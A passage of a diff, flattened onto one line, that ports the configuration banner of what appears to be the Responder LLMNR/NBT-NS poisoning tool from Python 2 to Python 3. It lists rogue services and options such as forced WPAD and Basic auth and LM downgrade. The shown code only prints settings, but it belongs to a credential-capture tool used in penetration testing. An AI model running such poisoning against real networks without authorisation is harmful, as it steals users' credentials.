"WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)) + print(' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)) + print(' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)) + print(' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)) + print(' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)) + print(' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)) + print(' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)) + print(' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)) + print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) + print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) + print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print('') - print color("[+] ", 2, 1) + "HTTP Options:" - print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) - print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) - print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) - #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script - print "" + print(color("[+] ", 2, 1) + "HTTP Options:") + print(' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)) + print(' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)) + print(' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)) + print(' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)) + #print(' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print('') - print color("[+] ", 2, 1) + "Poisoning Options:" - print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) - print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) - print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) - print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) - print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) - print "" + print(color("[+] ", 2, 1) + "Poisoning Options:") + print(' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)) + print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)) + print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) + print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) + print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) + print('') - print color("[+] ", 2, 1) + "Generic Options:" - print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) - print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) - print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + print(color("[+] ", 2, 1) + "Generic Options:") + print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) + print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) + print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) if settings.Config.Upstream_Proxy: - print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - if len(settings.Config.RespondTo): - print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - if len(settings.Config.RespondToName): - print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - if len(settings.Config.DontRespondTo): - print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - if len(settings.Config.DontRespondToName): - print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) - print "\n\n" + print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) + + if len(settings.Config.RespondTo): + print(' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)) + if len(settings.Config.RespondToName): + print(' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)) + if len(settings.Config.DontRespondTo): + print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) + if len(settings.Config.DontRespondToName): + print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print('\n\n')